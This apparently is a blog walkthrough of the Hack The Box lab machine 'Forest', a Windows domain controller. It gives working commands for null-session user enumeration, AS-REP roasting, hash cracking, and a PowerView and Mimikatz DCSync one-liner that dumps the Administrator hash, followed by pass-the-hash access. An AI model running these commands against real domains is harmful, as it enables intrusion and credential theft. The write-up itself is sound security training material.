Home Hack The Box Writeup - Forest

Hack The Box Writeup - Forest

Forest is an easy Windows box. By enumerating the SMB and RPC services, we obtained a list of available usernames. These usernames were then used to perform an AS-REP Roasting attack that resulted in us obtaining valid credentials for the domain. These credentials were then used to enumerate the AD using SharpHound/BloodHound. Afterwards, we made use of some AD relationships to perform a DCSync attack. In this way we obtained the Administrator NTLM hash, which allowed us to access the system as Administrator (using Pass-The-Hash).


As always, we start by scanning the target machine’s open ports:

rustscan --ulimit 5000 forest.htb -- sV -sC -oN nmap_scan

PORT      STATE SERVICE      REASON  VERSION                                                                                                                                              
53/tcp    open  domain       syn-ack Simple DNS Plus                                                                                                                                      
88/tcp    open  kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2022-04-25 07:40:20Z)                                                                                       
135/tcp   open  msrpc        syn-ack Microsoft Windows RPC                                                                                                                                
139/tcp   open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn                                                                                                                        
389/tcp   open  ldap         syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)                                                           
445/tcp   open  microsoft-ds syn-ack Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)                                                                                     
464/tcp   open  kpasswd5?    syn-ack                                                                                                                                                      
593/tcp   open  ncacn_http   syn-ack Microsoft Windows RPC over HTTP 1.0                                                                                                                  
636/tcp   open  tcpwrapped   syn-ack                                                                                                                                                      
3268/tcp  open  ldap         syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)                                                           
3269/tcp  open  tcpwrapped   syn-ack                                                                                                                                                      
5985/tcp  open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)                                                                                                              
|_http-title: Not Found                                                                                                                                                                   
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf       syn-ack .NET Message Framing
47001/tcp open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc        syn-ack Microsoft Windows RPC
49665/tcp open  msrpc        syn-ack Microsoft Windows RPC
49666/tcp open  msrpc        syn-ack Microsoft Windows RPC
49667/tcp open  msrpc        syn-ack Microsoft Windows RPC
49671/tcp open  msrpc        syn-ack Microsoft Windows RPC
49680/tcp open  ncacn_http   syn-ack Microsoft Windows RPC over HTTP 1.0
49681/tcp open  msrpc        syn-ack Microsoft Windows RPC
49685/tcp open  msrpc        syn-ack Microsoft Windows RPC
49701/tcp open  msrpc        syn-ack Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Here we clearly see that the target machine is a Domain Controller for the domain htb.lcoal. Further, the OS of the DC is Windows Server 2016 Standard 6.3.

SMB/RPC Enumeration

First, I started with the enumeration of the SMB service using smbmap and smbclient. However, as seen in the screenshot, all attempted accesses were denied.

Trying to enumerate the SMB shares. No success

Then, I proceeded with the enumeration of the RPC service (running on port 135) using rpcclient. Here, I checked for the existence of a null session. A null session (aka anonymous or guest access) enables the access to a network resource, most commonly the IPC$ share without any authentication.

To check for the null session following command can be used:

└─$ rpcclient -U '' -N

And it worked! I got access to the RPC service. According to this article, we can use several commands to gain more information about the domain. Especially the commadn enumdomusers resulted in very interesting findings, namely the domain usernames.

rpcclient $> enumdomusers
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

Initial Foothold

AS-REP Roasting

Now that I had a list of available usernames, I was able to check whether any of these accounts had the Kerberos pre-authentication disabled.

“Kerberos Pre-Authentication is a security feature which offers protection against password-guessing attacks. The AS request identifies the client to the KDC in Plaintext. If Kerberos Pre-Authentication is enabled, a Timestamp will be encrypted using the user’s password hash as an encryption key. If the KDC reads a valid time when using the user’s password hash, which is available in the Microsoft Active Directory, to decrypt the Timestamp, the KDC knows that request isn’t a replay of a previous request.
Without Kerberos Pre-Authentication a malicious attacker can directly send a dummy request for authentication. The KDC will return an encrypted TGT and the attacker can brute force it offline. Upon checking the KDC logs, nothing will be seen except a single request for a TGT. When Kerberos timestamp Kerberos Pre-Authentication is enforced, the attacker cannot directly ask the KDCs for the encrypted material to Brute-Force offline.” Source: https://ldapwiki.com/wiki/Kerberos%20Pre-Authentication

If this was the case, I would get hold of an AS-REP packet for that user, which consists of the TGT and a session key and is encrypted with the users’s password hash. Obtaining such an AS-REP packet allows me to crack the user’s password offline with tools such as hashcat or john. But first, I had to check whether such an account actually exists. Therefore, I used Impacket’s GetNPUsers.py. As seen in the following screenshot, there is indeed an account with these characteristics.

Successfully obtained the AS-REP packet for the user svc-alfresco as pre-authentication was disabled for this account.

Bruteforcing the Users Hash

Now that I had the user hash, it was time to use hashcat to crack the password. Using the mode 18200 and the wordlist rockyou.txt the password was quickly cracked! At this point, I had valid user credentials for the domain, namely svc-alfresco:s3rvice

Hashcat sucessfully cracks the password with the abovementioned settings.

To confirm whether these credentials are really valid, I did a quick SMB enumeration using smbclient and the newly obtained credentials.

Another SMB Enumeration. This time with the found credentials for the user svc_alfresco.

This time, the SMB access worked!

As Port 5985 was open, it was possible to get initial shell access using Evil-WinRM, a tool to communicate with Microsoft’s Windows Remote Management service, in combination with the obtained credentials of the user svc-alfresco.

Shell access to the system using Evil-WinRM and the credentials for the user svc_alfresco.

Privilege Escalation

First, I started with the enumeration of system. Since we have a Powershell shell, the first command I ran was Get-ComputerInfo -Property OS* which basically returns all information about the installed OS on the system.

Output of the Get-ComputerInfo command. Gives us information about the system.

Here, we get detailed information on the installed OS, namely Windows Server 2016 Standard 6.3. Before I started looking at known vulnerabilities of this version, I wanted to know more about our current user. Therefore, I used the command whoami /all to obtain information about the user’s Groups and Privileges.

Here we clearly see that the user svc_alfresco is indeed part of some interesting groups called Privileged IT Accounts and `Service Accounts.

Output of the whoami /all command. `.

At this point, I decided to get more information about those groups and the general structure of the present AD by using Sharphound and Bloodhound instead of looking for known privilege escalation vulnerabilities of the installed OS.

“BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. As of version 4.0, BloodHound now also supports Azure. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory environment.” Source: https://bloodhound.readthedocs.io/en/latest/

“SharpHound is the official data collector for BloodHound. It is written in C# and uses native Windows API functions and LDAP namespace functions to collect data from domain controllers and domain-joined Windows systems.” Source: https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html?highlight=Sharphound

I uploaded the data collector SharpHound (the pre-compiled binary SharpHound.exe) to the target machine with the help of a local SMB server on my attacker machine which was started by using the following command (this created a share called temp which points towards my /opt directory - the directory which contains all my useful tools/programs/scripts):

sudo smbserver.py temp /opt

On the target machine, I was then able to copy the file from my local share to the attacker machine using this command (where was my attacker IP):

*Evil-WinRM* PS C:\temp> copy \\\temp\SharpHound.exe .

Finally, I ran the binary (.\SharpHound.exe), which created a .zip file containing the SharpHound output. Again, I used the share to transfer the file. This time the other way round - from the target machine to my attacker machine.

Once I had the .zip file on my machine, I started neo4j (the database for BloodHound) and BloodHound. Next, I uploaded the zip file using the Upload Data button. Then, I defined svc_alfresco as my start node and administrator as my target. BloodHound then presented me the following attack path:

Bloodhound output - Shortest path from the owned user svc_alfresco to the administrator.

Let’s break down the most important findings of BloodHound:

  • The owned user svc_alfresco is member of the group SERVICE ACCOUNTS@HTB.LOCAL
  • This means that our current user svc-alfresco is also part of the group ACCOUNT OPERATORS@HTB.LOCAL, as we’ve already seen in the whoami output.
  • The members of the group ACCOUNT OPERATORS@HTB.LOCAL have GenericAll privileges to the group EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL. This is also known as full control. Full control of a group allows you to directly modify group membership of the group.
  • The members of the group EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL have permissions to modify the DACL (Discretionary Access Control List) on the domain HTB.LOCAL. With write access to the target object’s DACL, you can grant yourself any privilege you want on the object.

So, at this point I had a way to basically grant myself any privilege I want. As I was rather inexperienced with Windows at this time, I first had to do some decent research. During my research I stumbled upon an article describing a way to replicate the DC and thus get access to the stored password hashes. This attack required the DCSync privilege. Also I learned that BloodHound has a Help window, which basically described step-by-step how to exploit the path. Here it also mentioned the DCSync privileges: To abuse WriteDacl to a domain object, you may grant yourself DCSync privileges.. Further, it provides PowerShell/PowerView commands to conduct the attack. So let’s follow these steps.

(Before that: transfer PowerView.ps1 to the target machine and run Import-Module .\PowerView.ps1. Repeat this step with Invoke-Mimikatz.ps1.)

1) You may need to authenticate to the Domain Controller as a member of EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL if you are not running a process as a member. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):

$SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb\svc-alfresco', $SecPassword)

2) Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL:

Add-AdGroupMember -Credential $Cred -Identity "Exchange Windows Permissions" -Members svc-alfresco
Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity svc-alfresco -TargetIdentity 'HTB.LOCAL\Domain Admins' -Rights DCSync

1) Once you have granted yourself this privilege, you may use the mimikatz dcsync function to dcsync the password of arbitrary principals on the domain

Invoke-Mimikatz -Command '"lsadump::dcsync /user:administrator"'

For the ease of exeuction, the commands can be merged to a one-liner:

Import-Module .\PowerView.ps1; Import-Module .\Invoke-Mimikatz.ps1; $SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force; $Cred = New-Object System.Management.Automation.PSCredential('htb\svc-alfresco', $SecPassword); Add-AdGroupMember -Credential $Cred -Identity "Exchange Windows Permissions" -Members svc-alfresco; Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'htb\svc-alfresco' -TargetIdentity 'htb.local\Domain Admins' -Rights DCSync; Invoke-Mimikatz -Command '"lsadump::dcsync /user:administrator"'

Here, we get the NTLM Hash of the Administrator which is 32693b11e6aa90eb43d32c72a07ceea6. We can use this hash to authenticate as Administrator using the tool wmiexec.py:

wmiexec.py -hashes 0:32693b11e6aa90eb43d32c72a07ceea6 htb.local/administrator@

And there we go. We are the administrator! Final step is to capture the root.txt flag.

This post is licensed under CC BY 4.0 by the author.